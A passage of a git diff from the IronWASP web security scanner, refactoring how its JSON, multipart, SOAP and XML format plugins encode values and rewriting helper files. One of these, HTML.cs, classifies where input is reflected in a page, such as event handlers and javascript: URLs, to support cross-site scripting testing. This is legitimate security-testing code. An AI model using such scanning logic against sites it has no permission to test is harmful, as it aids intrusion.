Res) + { + return new FormatParameters(XmlToArray(FormatPlugin.XML().ToXmlFromResponse(Res))); + } + public static FormatParameters GetJsonParameters(Response Res) + { + return new FormatParameters(XmlToArray(FormatPlugin.JSON().ToXmlFromResponse(Res))); + } + public static FormatParameters GetSoapParameters(Response Res) + { + return new FormatParameters(XmlToArray(FormatPlugin.SOAP().ToXmlFromResponse(Res))); + } + public static FormatParameters GetMultipartParameters(Response Res) + { + return new FormatParameters(XmlToArray(FormatPlugin.MutliPart().ToXmlFromResponse(Res))); + } + } +} diff --git a/IronWASP/FormatPlugins/JsonFormatPlugin.cs b/Iron/FormatPlugins/JsonFormatPlugin.cs similarity index 84% rename from IronWASP/FormatPlugins/JsonFormatPlugin.cs rename to Iron/FormatPlugins/JsonFormatPlugin.cs index cb33a1b..5576d55 100644 --- a/IronWASP/FormatPlugins/JsonFormatPlugin.cs +++ b/Iron/FormatPlugins/JsonFormatPlugin.cs @@ -94,6 +94,7 @@ public string JsonToXml(string JsonIn) Dictionary PropertyDict = new Dictionary(); XW.WriteStartElement("xml"); + XW.WriteAttributeString("fpv", "4"); if (JsonInArray) { XW.WriteAttributeString("in_array", "1"); @@ -137,11 +138,13 @@ public string JsonToXml(string JsonIn) XW.WriteStartElement("bool"); if (JTR.Value != null) { - XW.WriteValue(1); + //XW.WriteValue(1); + this.WriteValue(XW, "1"); } else { - XW.WriteValue(0); + //XW.WriteValue(0); + this.WriteValue(XW, "0"); } XW.WriteEndElement(); break; @@ -150,19 +153,22 @@ public string JsonToXml(string JsonIn) case(JsonToken.Integer): case(JsonToken.Date): XW.WriteStartElement("num"); - XW.WriteValue(JTR.Value.ToString()); + //XW.WriteValue(JTR.Value.ToString()); + this.WriteValue(XW, JTR.Value.ToString()); XW.WriteEndElement(); break; case (JsonToken.String): XW.WriteStartElement("str"); - XW.WriteValue(JTR.Value.ToString()); + //XW.WriteValue(JTR.Value.ToString()); + this.WriteValue(XW, JTR.Value.ToString()); XW.WriteEndElement(); break; case (JsonToken.Null): XW.WriteStartElement("undef"); - XW.WriteValue("null"); + //XW.WriteValue("null"); + this.WriteValue(XW, "null"); XW.WriteEndElement(); break; @@ -172,7 +178,8 @@ public string JsonToXml(string JsonIn) NextRead = true; if (JTR.TokenType == JsonToken.EndArray) { - XW.WriteValue(""); + //XW.WriteValue(""); + this.WriteValue(XW, ""); } break; @@ -186,7 +193,8 @@ public string JsonToXml(string JsonIn) NextRead = true; if (JTR.TokenType == JsonToken.EndObject) { - XW.WriteValue(""); + //XW.WriteValue(""); + this.WriteValue(XW, ""); } break; @@ -232,6 +240,10 @@ public string XmlToJson(string Xml) bool InArray = false; XR.Read(); + while (XR.NodeType == XmlNodeType.Whitespace || XR.NodeType == XmlNodeType.SignificantWhitespace) + { + XR.Read(); + } if (!(XR.NodeType == XmlNodeType.Element && XR.Name == "xml")) { throw new Exception("Invalid XML Input"); @@ -250,6 +262,10 @@ public string XmlToJson(string Xml) if (! NextRead) { Read = XR.Read(); + while (XR.NodeType == XmlNodeType.Whitespace || XR.NodeType == XmlNodeType.SignificantWhitespace) + { + XR.Read(); + } } NextRead = false; switch(XR.NodeType) @@ -272,6 +288,10 @@ public string XmlToJson(string Xml) case ("undef" ): ValType = XR.Name; Read = XR.Read(); + while (XR.NodeType == XmlNodeType.Whitespace || XR.NodeType == XmlNodeType.SignificantWhitespace) + { + XR.Read(); + } NextRead = true; if (XR.NodeType == XmlNodeType.EndElement) { @@ -303,45 +323,45 @@ public string XmlToJson(string Xml) case("num"): try { - JTW.WriteValue(Int32.Parse(XR.Value.Trim())); + JTW.WriteValue(Int32.Parse(Tools.Base64Decode(XR.Value.Trim()))); } catch { try { - JTW.WriteValue(float.Parse(XR.Value.Trim())); + JTW.WriteValue(float.Parse(Tools.Base64Decode(XR.Value.Trim()))); } catch { - JTW.WriteValue(XR.Value); + JTW.WriteValue(Tools.Base64Decode(XR.Value)); } } break; case("str"): - JTW.WriteValue(XR.Value.ToString()); + JTW.WriteValue(Tools.Base64Decode(XR.Value.ToString())); break; case("bool"): - if (XR.Value.ToString().Equals("1")) + if (Tools.Base64Decode(XR.Value).Equals("1")) { JTW.WriteValue(true); } - else if(XR.Value.ToString().Equals("0")) + else if(Tools.Base64Decode(XR.Value).Equals("0")) { JTW.WriteValue(false); } else { - JTW.WriteValue(XR.Value); + JTW.WriteValue(Tools.Base64Decode(XR.Value)); } break; case("undef"): - if (XR.Value.ToString() == "null") + if (Tools.Base64Decode(XR.Value.ToString()) == "null") { JTW.WriteNull(); } else { - JTW.WriteValue(XR.Value.ToString()); + JTW.WriteValue(Tools.Base64Decode(XR.Value.ToString())); } break; } diff --git a/Iron/FormatPlugins/LightXmlParser.cs b/Iron/FormatPlugins/LightXmlParser.cs new file mode 100644 index 0000000..93bb219 --- /dev/null +++ b/Iron/FormatPlugins/LightXmlParser.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.IO; + +namespace IronWASP.FormatPlugins +{ + public class LightXmlParser + { + int Pointer = 0; + LightXmlParserStates CurrentState = LightXmlParserStates.XmlStartElement; + + Stack TagStack = new Stack(); + + List ParseOutTextNodes(string InputXml) + { + + + + /* + while (Pointer < InputXml.Length) + { + switch (InputXml[Pointer]) + { + + } + } + */ + return new List(); + } + + void ReadTillElementStart() + { + + } + + void ReadTillElementEnd() + { + + } + + void ReadTillAttributeEnd() + { + + } + + void ReadVersionInfo() + { + + } + } + + public enum LightXmlParserStates + { + XmlStartElement, + XmlEndElement, + XmlSingleQuotedAttribute, + XmlDoubleQuotedAttribute, + XmlTextNode, + None + } +} diff --git a/IronWASP/FormatPlugins/MultipartFormatPlugin.cs b/Iron/FormatPlugins/MultipartFormatPlugin.cs similarity index 86% rename from IronWASP/FormatPlugins/MultipartFormatPlugin.cs rename to Iron/FormatPlugins/MultipartFormatPlugin.cs index 51bec7d..d61618a 100644 --- a/IronWASP/FormatPlugins/MultipartFormatPlugin.cs +++ b/Iron/FormatPlugins/MultipartFormatPlugin.cs @@ -174,6 +174,7 @@ public string MultiPartToXml(string Header, byte[] Body) XmlWriter XW = XmlWriter.Create(XB, Settings); XW.WriteStartElement("xml"); + XW.WriteAttributeString("fpv", "4"); foreach(byte[] BA in BAParts) { this.GetXml(BA, XW); @@ -202,16 +203,18 @@ XmlWriter GetXml(byte[] SectionBytes, XmlWriter XW) if (Tools.IsBinary(BinaryData)) { - XW.WriteAttributeString("encoded", "1"); - XW.WriteValue(Tools.Base64EncodeByteArray(BinaryData)); + this.WriteValue(XW, BinaryData); + //XW.WriteAttributeString("encoded", "1"); + //XW.WriteValue(Tools.Base64EncodeByteArray(BinaryData)); } else { - if (SectionParts[1].Contains("\r\n")) - { - XW.WriteAttributeString("crlf", "1"); - } - XW.WriteValue(SectionParts[1]); + this.WriteValue(XW, SectionParts[1]); + //if (SectionParts[1].Contains("\r\n")) + //{ + // XW.WriteAttributeString("crlf", "1"); + //} + //XW.WriteValue(SectionParts[1]); } XW.WriteEndElement();//Closing the tag } @@ -264,7 +267,8 @@ XmlWriter GetXml(byte[] SectionBytes, XmlWriter XW) { XW.WriteStartElement("first_header_section"); XW.WriteAttributeString("oname", Tools.UrlDecode(KeyValuePair[0])); - XW.WriteValue(Tools.UrlDecode(KeyValuePair[1])); + //XW.WriteValue(Tools.UrlDecode(KeyValuePair[1])); + this.WriteValue(XW, Tools.UrlDecode(KeyValuePair[1])); XW.WriteEndElement(); } } @@ -279,16 +283,18 @@ XmlWriter GetXml(byte[] SectionBytes, XmlWriter XW) if (Tools.IsBinary(BinaryData)) { - XW.WriteAttributeString("encoded", "1"); - XW.WriteValue(Tools.Base64EncodeByteArray(BinaryData)); + this.WriteValue(XW, BinaryData); + //XW.WriteAttributeString("encoded", "1"); + //XW.WriteValue(Tools.Base64EncodeByteArray(BinaryData)); } else { - if (SectionParts[1].Contains("\r\n")) - { - XW.WriteAttributeString("crlf", "1"); - } - XW.WriteValue(SectionParts[1]); + this.WriteValue(XW, SectionParts[1]); + //if (SectionParts[1].Contains("\r\n")) + //{ + // XW.WriteAttributeString("crlf", "1"); + //} + //XW.WriteValue(SectionParts[1]); } XW.WriteEndElement();//Closing the tag } @@ -306,13 +312,15 @@ XmlWriter GetXml(byte[] SectionBytes, XmlWriter XW) XW.WriteAttributeString("oname", HeaderFirstPart[0].Trim()); XW.WriteStartElement("value"); - XW.WriteValue(HeaderFirstPart[1]); + //XW.WriteValue(HeaderFirstPart[1]); + this.WriteValue(XW, HeaderFirstPart[1]); XW.WriteEndElement();//Closing the tag foreach (string[] KeyValuePair in HeaderPartNameValuePairs) { XW.WriteStartElement("header_section"); XW.WriteAttributeString("oname", Tools.UrlDecode(KeyValuePair[0])); - XW.WriteValue(Tools.UrlDecode(KeyValuePair[1])); + //XW.WriteValue(Tools.UrlDecode(KeyValuePair[1])); + this.WriteValue(XW, Tools.UrlDecode(KeyValuePair[1])); XW.WriteEndElement();//Closing the tag } XW.WriteEndElement();//Closing the
tag @@ -371,7 +379,7 @@ public byte[] XmlToMultiPart(string Header, string Xml) { foreach (XmlNode FirstHeaderSectionNode in FirstHeaderSectionNodes) { - HB.Append("; "); HB.Append(Tools.UrlEncode(FirstHeaderSectionNode.Attributes["oname"].Value)); HB.Append("=\""); HB.Append(Tools.UrlEncode(FirstHeaderSectionNode.InnerText)); HB.Append("\""); + HB.Append("; "); HB.Append(Tools.UrlEncode(FirstHeaderSectionNode.Attributes["oname"].Value)); HB.Append("=\""); HB.Append(Tools.UrlEncode(Tools.Base64Decode(FirstHeaderSectionNode.InnerText))); HB.Append("\""); } } HB.AppendLine(); @@ -384,14 +392,14 @@ public byte[] XmlToMultiPart(string Header, string Xml) XmlNodeList ValueNodes = OtherHeadderNode.SelectNodes("./value"); if (ValueNodes != null && ValueNodes.Count > 0) { - HB.Append(ValueNodes[0].InnerText); + HB.Append(Tools.Base64Decode(ValueNodes[0].InnerText)); } XmlNodeList HeaderSections = OtherHeadderNode.SelectNodes("./header_section"); if (HeaderSections != null) { foreach (XmlNode HeaderSection in HeaderSections) { - HB.Append("; "); HB.Append(Tools.UrlEncode(HeaderSection.Attributes["oname"].Value)); HB.Append("=\""); HB.Append(Tools.UrlEncode(HeaderSection.InnerText)); HB.Append("\""); + HB.Append("; "); HB.Append(Tools.UrlEncode(HeaderSection.Attributes["oname"].Value)); HB.Append("=\""); HB.Append(Tools.UrlEncode(Tools.Base64Decode(HeaderSection.InnerText))); HB.Append("\""); } } HB.AppendLine(); @@ -409,24 +417,33 @@ public byte[] XmlToMultiPart(string Header, string Xml) { CrlfAttributeSet = true; } - string InnerText = SectionValueNodes[0].InnerText; + string InnerText = Tools.Base64Decode(SectionValueNodes[0].InnerText); if (CrlfAttributeSet) { InnerText = InnerText.Replace("\n", "\r\n"); } - if (SectionValueNodes[0].Attributes["encoded"] != null && SectionValueNodes[0].Attributes["encoded"].Value == "1") - { + //if (SectionValueNodes[0].Attributes["encoded"] != null && SectionValueNodes[0].Attributes["encoded"].Value == "1") + //{ BodyList.AddRange(Tools.Base64DecodeToByteArray(InnerText)); - } - else - { - BodyList.AddRange(Encoding.UTF8.GetBytes(InnerText)); - } + //} + //else + //{ + // BodyList.AddRange(Encoding.UTF8.GetBytes(InnerText)); + //} } BodyList.AddRange(Encoding.UTF8.GetBytes("\r\n")); } BodyList.AddRange(Encoding.UTF8.GetBytes(Boundary + "--\r\n")); return BodyList.ToArray(); } + + public override void WriteValue(XmlWriter XW, string Value) + { + if (Value.Contains("\r\n")) + { + XW.WriteAttributeString("crlf", "1"); + } + this.WriteValue(XW, Encoding.UTF8.GetBytes(Value)); + } } } diff --git a/IronWASP/FormatPlugins/SoapFormatPlugin.cs b/Iron/FormatPlugins/SoapFormatPlugin.cs similarity index 93% rename from IronWASP/FormatPlugins/SoapFormatPlugin.cs rename to Iron/FormatPlugins/SoapFormatPlugin.cs index b238db2..f6a0fc4 100644 --- a/IronWASP/FormatPlugins/SoapFormatPlugin.cs +++ b/Iron/FormatPlugins/SoapFormatPlugin.cs @@ -94,7 +94,7 @@ public override Response ToResponseFromXml(Response Res, string IXml) } public string SoapToIronWASPXml(string OXml) - { + { XmlDocument ODoc = new XmlDocument(); ODoc.XmlResolver = null; ODoc.LoadXml(OXml.Trim()); @@ -104,6 +104,7 @@ public string SoapToIronWASPXml(string OXml) XW.WriteStartElement("Envelope"); + XW.WriteAttributeString("fpv", "4"); XmlNode HeaderNode = null; XmlNode BodyNode = null; @@ -140,12 +141,13 @@ void StoiReadNode(XmlNode Node, XmlWriter XW) if (Node.NodeType == XmlNodeType.Element) { XW.WriteStartElement(Node.LocalName); - XW.WriteStartAttribute("oname"); XW.WriteValue(Node.LocalName); XW.WriteEndAttribute(); + XW.WriteAttributeString("oname", Node.LocalName); if (Node.HasChildNodes) { if (Node.ChildNodes.Count == 1 && Node.ChildNodes[0].NodeType == XmlNodeType.Text) { - XW.WriteValue(Node.ChildNodes[0].InnerText); + //XW.WriteValue(Node.ChildNodes[0].InnerText); + this.WriteValue(XW, Node.ChildNodes[0].InnerText); } else { @@ -159,9 +161,10 @@ void StoiReadNode(XmlNode Node, XmlWriter XW) { if (!Node.OuterXml.Contains(" 0) { @@ -140,10 +141,11 @@ void OtoiReadNode(XmlNode Node, XmlWriter XW) if (!(XA.Name == "xmlns" || XA.Name.StartsWith("xmlns:"))) { XW.WriteStartElement("attribute"); - XW.WriteStartAttribute("oname"); XW.WriteValue(XA.Name); XW.WriteEndAttribute(); - XW.WriteStartAttribute("local_name"); XW.WriteValue(XA.LocalName); XW.WriteEndAttribute(); - XW.WriteStartAttribute("prefix"); XW.WriteValue(XA.Prefix); XW.WriteEndAttribute(); - XW.WriteValue(XA.Value); + XW.WriteAttributeString("oname", XA.Name); + XW.WriteAttributeString("local_name", XA.LocalName); + XW.WriteAttributeString("prefix", XA.Prefix); + //XW.WriteValue(XA.Value); + this.WriteValue(XW, XA.Value); XW.WriteEndElement(); } } @@ -154,7 +156,10 @@ void OtoiReadNode(XmlNode Node, XmlWriter XW) { if (Node.ChildNodes.Count == 1 && Node.ChildNodes[0].NodeType == XmlNodeType.Text) { - XW.WriteStartElement("value"); XW.WriteValue(Node.ChildNodes[0].InnerText); XW.WriteEndElement(); + XW.WriteStartElement("value"); + //XW.WriteValue(Node.ChildNodes[0].InnerText); + this.WriteValue(XW, Node.ChildNodes[0].InnerText); + XW.WriteEndElement(); } else { @@ -171,9 +176,11 @@ void OtoiReadNode(XmlNode Node, XmlWriter XW) XW.WriteStartElement("value"); if (!Node.OuterXml.Contains(" InternalStore = new Dictionary(); - - public static void Put(string Name, object Value) - { - lock (InternalStore) - { - if (InternalStore.ContainsKey(Name)) - { - InternalStore[Name] = Value; - } - else - { - InternalStore.Add(Name, Value); - } - } - } - - public static object Get(string Name) - { - try - { - if (InternalStore.ContainsKey(Name)) - { - return InternalStore[Name]; - } - else - { - return null; - } - } - catch - { - return null; - } - } - - public static bool Has(string Name) - { - try - { - if (InternalStore.ContainsKey(Name)) - { - return true; - } - else - { - return false; - } - } - catch - { - return false; - } - } - - public static void Remove(string Name) - { - try - { - lock (InternalStore) - { - InternalStore.Remove(Name); - } - } - catch { } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class GlobalStore + { + static Dictionary InternalStore = new Dictionary(); + + public static void Put(string Name, object Value) + { + lock (InternalStore) + { + if (InternalStore.ContainsKey(Name)) + { + InternalStore[Name] = Value; + } + else + { + InternalStore.Add(Name, Value); + } + } + } + + public static object Get(string Name) + { + try + { + if (InternalStore.ContainsKey(Name)) + { + return InternalStore[Name]; + } + else + { + return null; + } + } + catch + { + return null; + } + } + + public static bool Has(string Name) + { + try + { + if (InternalStore.ContainsKey(Name)) + { + return true; + } + else + { + return false; + } + } + catch + { + return false; + } + } + + public static void Remove(string Name) + { + try + { + lock (InternalStore) + { + InternalStore.Remove(Name); + } + } + catch { } + } + } +} diff --git a/IronWASP/HTML.cs b/Iron/HTML.cs similarity index 82% rename from IronWASP/HTML.cs rename to Iron/HTML.cs index 721b169..1936a3b 100644 --- a/IronWASP/HTML.cs +++ b/Iron/HTML.cs @@ -1,837 +1,943 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using HtmlAgilityPack; -using System.Text.RegularExpressions; - -namespace IronWASP -{ - public class HTML - { - public HtmlDocument Html = new HtmlDocument(); - - static List EventAttributes = new List() { "onload", "onunload", "onabort", "onbeforeunload", "onhashchange", "onmessage", "onoffline", "ononline", "onpagehide", "onpageshow", "onpopstate", "onredo", "onresize", "onstorage", "onundo", "onunload", "onkeypress", "onkeydown", "onkeyup", "onmouseover", "onmousemove", "onmouseout", "onclick", "ondblclick", "onmousedown", "onmouseup", "onmousewheel", "ondrag", "ondragover", "ondragenter", "ondragleave", "ondrop", "ondragend", "onfocus", "onblur", "onchange", "oncontextmenu", "onformchange", "onforminput", "oninput", "oninvalid", "onselect", "onsubmit", "onreset", "onbeforeprint", "onafterprint", "onerror" }; - - static Regex CompiledHtmlDocTypeRegex = new Regex(@"^\s<\!doctype\s+html", RegexOptions.Compiled | RegexOptions.Multiline | RegexOptions.IgnoreCase); - - static Regex[] CompiledAngleBracketsRegex = new Regex[] { - new Regex(@"^\s*<", RegexOptions.Compiled | RegexOptions.Multiline), - new Regex(@">\s*$", RegexOptions.Compiled | RegexOptions.Multiline)}; - - static Regex[] CompiledHtmlTagRegexes = new Regex[] { - new Regex(@"", RegexOptions.Compiled | RegexOptions.Multiline), - new Regex(@" Links - { - get - { - List LinkValues = new List(); - foreach (string RawLinkValue in this.GetValues("a", "href")) - { - string DecodedLinkValue = Tools.HtmlEncode(RawLinkValue); - if ((!DecodedLinkValue.Contains("/") || !DecodedLinkValue.Contains("?") || !DecodedLinkValue.Contains("=")) - && (DecodedLinkValue.IndexOf("%2f", StringComparison.OrdinalIgnoreCase) > -1 || DecodedLinkValue.IndexOf("%3f", StringComparison.OrdinalIgnoreCase) > -1 || DecodedLinkValue.IndexOf("%3d", StringComparison.OrdinalIgnoreCase) > -1)) - { - LinkValues.Add(Tools.UrlDecode(DecodedLinkValue)); - } - else - { - LinkValues.Add(DecodedLinkValue); - } - } - return LinkValues; - } - } - - public List Comments - { - get - { - return this.Get("comment()"); - } - } - - public void Load(string HtmlString) - { - this.Html.LoadHtml(HtmlString); - } - - public List Get(string ElementName) - { - return Query(string.Format("//{0}", ElementName.ToLower())); - } - - public List Get(string ElementName, string AttributeName) - { - return Query(string.Format("//{0}[@{1}]", ElementName.ToLower(), AttributeName.ToLower())); - } - - public List GetValues(string ElementName, string AttributeName) - { - return QueryValues(string.Format("//{0}[@{1}]", ElementName.ToLower(), AttributeName.ToLower()), AttributeName.ToLower()); - } - - public List GetValues(string ElementName, string AttributeName, string AttributeValue, string InterestedAttributeName) - { - return QueryValues(string.Format("//{0}[@{1}={2}]", ElementName.ToLower(), AttributeName.ToLower(), XpathSafe(AttributeValue)), InterestedAttributeName.ToLower()); - } - - public List GetValuesIgnoreValueCase(string ElementName, string AttributeName, string AttributeValue, string InterestedAttributeName) - { - List Values = new List(); - AttributeName = AttributeName.ToLower(); - InterestedAttributeName = InterestedAttributeName.ToLower(); - HtmlNodeCollection Nodes = GetNodes(ElementName, AttributeName); - if (Nodes == null) return Values; - foreach (HtmlNode Node in Nodes) - { - string Value = ""; - bool CorrectTag = false; - foreach (HtmlAttribute Attr in Node.Attributes) - { - if (Attr.Name.Equals(InterestedAttributeName)) - { - Value = Attr.Value; - } - if (Attr.Name.Equals(AttributeName) && Attr.Value.Equals(AttributeValue, StringComparison.OrdinalIgnoreCase)) - { - CorrectTag = true; - } - } - if (CorrectTag) - { - Values.Add(Value); - } - } - return Values; - } - - public List Get(string ElementName, string AttributeName, string AttributeValue) - { - return Query(string.Format("//{0}[@{1}={2}]", ElementName.ToLower(), AttributeName.ToLower(), XpathSafe(AttributeValue))); - } - - public List GetMetaContent(string Attribute, string AttributeValue) - { - return GetValuesIgnoreValueCase("meta", Attribute, AttributeValue, "content"); - } - - public HtmlNodeCollection GetNodes(string ElementName) - { - return QueryNodes(string.Format("//{0}", ElementName.ToLower())); - } - - public HtmlNodeCollection GetNodes(string ElementName, string AttributeName) - { - return QueryNodes(string.Format("//{0}[@{1}]", ElementName.ToLower(), AttributeName.ToLower())); - } - - public HtmlNodeCollection GetNodes(string ElementName, string AttributeName, string AttributeValue) - { - return QueryNodes(string.Format("//{0}[@{1}={2}]", ElementName.ToLower(), AttributeName.ToLower(), XpathSafe(AttributeValue))); - } - - public HtmlNodeCollection QueryNodes(string Xpath) - { - return Html.DocumentNode.SelectNodes(Xpath); - } - - public List Query(string Xpath) - { - List Result = new List(); - try - { - HtmlNodeCollection Nodes = QueryNodes(Xpath); - foreach (HtmlNode Node in Nodes) - { - Result.Add(Node.OuterHtml); - } - } - catch - {} - return Result; - } - - public List QueryValues(string Xpath, string AttributeName) - { - AttributeName = AttributeName.ToLower(); - List Result = new List(); - try - { - HtmlNodeCollection Nodes = QueryNodes(Xpath); - foreach (HtmlNode Node in Nodes) - { - if (Node.Attributes.Contains(AttributeName)) - { - Result.Add(Node.Attributes[AttributeName].Value); - } - } - } - catch { } - return Result; - } - - public List GetForms() - { - List ProcessedForms = new List(); - HtmlNodeCollection Forms = this.GetNodes("form"); - - if (Forms == null) return ProcessedForms; - - foreach (HtmlNode Form in Forms) - { - HtmlNode StrippedFormNode = CopyNodeTopElement(Form); - CopyInputElementsIntoForm(Form, StrippedFormNode); - ProcessedForms.Add(StrippedFormNode); - } - return ProcessedForms; - } - - HtmlNode CopyNodeTopElement(HtmlNode InputNode, HtmlDocument HDoc) - { - HtmlNode NewNode = new HtmlNode(InputNode.NodeType, HDoc, 0); - NewNode.Name = InputNode.Name; - if (InputNode.HasAttributes) - { - foreach (HtmlAttribute Attr in InputNode.Attributes) - { - NewNode.Attributes.Add(Attr.Name, Attr.Value); - } - } - if (InputNode.HasClosingAttributes) - { - foreach (HtmlAttribute Attr in InputNode.ClosingAttributes) - { - NewNode.ClosingAttributes.Add(Attr.Name, Attr.Value); - } - } - return NewNode; - } - HtmlNode CopyNodeTopElement(HtmlNode InputNode) - { - return CopyNodeTopElement(InputNode, new HtmlDocument()); - } - - - List GetInputNodeStrings(HtmlNode InputNode) - { - List InputNodeStrings = new List(); - foreach(HtmlNode Node in InputNode.ChildNodes) - { - if (Node.Name.Equals("input")) - InputNodeStrings.Add(Node.OuterHtml); - else if (Node.ChildNodes.Count > 0) - InputNodeStrings.AddRange(GetInputNodeStrings(Node)); - } - return InputNodeStrings; - } - - HtmlNode GetStrippedForm(HtmlNode OriginalForm, List InputElementStrings) - { - OriginalForm.RemoveAllChildren(); - foreach (string InputElementString in InputElementStrings) - { - HTML InputHtml = new HTML(InputElementString); - OriginalForm.AppendChild(InputHtml.Html.DocumentNode.FirstChild); - } - return OriginalForm; - } - - void CopyInputElementsIntoForm(HtmlNode SourceForm, HtmlNode DestinationForm) - { - foreach (HtmlNode Node in SourceForm.ChildNodes) - { - if (Node.Name.Equals("input")) - { - DestinationForm.AppendChild(CopyNodeTopElement(Node, DestinationForm.OwnerDocument)); - } - else if (Node.ChildNodes.Count > 0) - { - CopyInputElementsIntoForm(Node, DestinationForm); - } - } - } - - public List GetContext(string Parameter) - { - List Contexts = new List(); - if (Html == null) return Contexts; - - foreach (HtmlNode Node in Html.DocumentNode.ChildNodes) - { - if (Node.OuterHtml.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.AddRange(GetContextInNode(Parameter, Node)); - } - } - return Contexts; - } - - List GetContextInNode(string Parameter, HtmlNode Node) - { - List Contexts = new List(); - if (Node.NodeType == HtmlNodeType.Comment) - { - if (Node.InnerText.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.HtmlComment); - } - } - else if (Node.NodeType == HtmlNodeType.Text) - { - if (Node.InnerText.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - if (Node.ParentNode.Name.Equals("script", StringComparison.OrdinalIgnoreCase)) - { - bool IsJS = true; - if (Node.ParentNode.Attributes.Contains("type")) - { - if (Node.ParentNode.Attributes["type"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) - { - IsJS = false; - } - } - else if (Node.ParentNode.Attributes.Contains("language")) - { - if (Node.ParentNode.Attributes["language"].Value.IndexOf("vbscript", StringComparison.OrdinalIgnoreCase) > -1) - { - IsJS = false; - } - } - if (IsJS) - { - Contexts.Add(ReflectionContext.InLineJS); - } - else - { - Contexts.Add(ReflectionContext.InLineVB); - } - } - else if (Node.ParentNode.Name.Equals("style", StringComparison.OrdinalIgnoreCase)) - { - Contexts.Add(ReflectionContext.InLineCSS); - } - else if (Node.ParentNode.Name.Equals("textarea")) - { - Contexts.Add(ReflectionContext.Textarea); - } - else - { - Contexts.Add(ReflectionContext.Html); - } - } - } - else if (Node.NodeType == HtmlNodeType.Element) - { - if (Node.OuterHtml.Equals(Parameter, StringComparison.OrdinalIgnoreCase)) - { - Contexts.Add(ReflectionContext.Html); - } - else if (Node.InnerHtml.Equals(Parameter, StringComparison.OrdinalIgnoreCase)) - { - Contexts.Add(ReflectionContext.Html); - } - else if (Node.Name.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.ElementName); - } - foreach (HtmlAttribute Attribute in Node.Attributes) - { - if (Attribute.Name.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.AttributeName); - } - if (Attribute.Value.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - if (Attribute.QuoteType == AttributeValueQuote.SingleQuote) - { - Contexts.Add(ReflectionContext.AttributeValueWithSingleQuote); - } - else - { - Contexts.Add(ReflectionContext.AttributeValueWithDoubleQuote); - } - if (IsUrlAttribute(Node.Name, Attribute.Name)) - { - if (Attribute.Value.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) - { - string JSAttributeValue = Attribute.Value.Substring(11); - if (JSAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.JSUrl); - } - else - { - Contexts.Add(ReflectionContext.UrlAttribute); - } - } - else if (Attribute.Value.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase)) - { - string VBAttributeValue = Attribute.Value.Substring(9); - if (VBAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.VBUrl); - } - else - { - Contexts.Add(ReflectionContext.UrlAttribute); - } - } - else - { - Contexts.Add(ReflectionContext.UrlAttribute); - } - } - else if (Attribute.Name.Equals("style", StringComparison.OrdinalIgnoreCase)) - { - Contexts.Add(ReflectionContext.AttributeCSS); - } - else if (EventAttributes.Contains(Attribute.Name.ToLower())) - { - Contexts.Add(ReflectionContext.EventAttribute); - } - - if (Node.Name.Equals("meta", StringComparison.OrdinalIgnoreCase)) - { - Contexts.Add(ReflectionContext.MetaAttribute); - if (Attribute.Name.Equals("content", StringComparison.OrdinalIgnoreCase)) - { - if (Node.Attributes.Contains("http-equiv")) - { - if (Node.Attributes["http-equiv"].Value.Equals("refresh", StringComparison.OrdinalIgnoreCase)) - { - string[] RedirectParts = Attribute.Value.Split(new char[] { ';' }, 2); - if (RedirectParts.Length == 2) - { - string RedirectUrl = RedirectParts[1].Trim(); - RedirectUrl = RedirectUrl.Substring(4);//strip off 'url=' - RedirectUrl = RedirectUrl.Trim('"').Trim('\''); - if (RedirectUrl.StartsWith("javascript:", StringComparison.OrdinalIgnoreCase)) - { - string JSAttributeValue = RedirectUrl.Substring(11); - if (JSAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.JSUrl); - } - else if (RedirectUrl.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.UrlAttribute); - } - } - else if (RedirectUrl.StartsWith("vbscript:", StringComparison.OrdinalIgnoreCase)) - { - string VBAttributeValue = RedirectUrl.Substring(9); - if (VBAttributeValue.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.VBUrl); - } - else if (RedirectUrl.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.UrlAttribute); - } - } - else if (RedirectUrl.IndexOf(Parameter, StringComparison.OrdinalIgnoreCase) >= 0) - { - Contexts.Add(ReflectionContext.UrlAttribute); - } - } - } - } - } - } - } - } - if 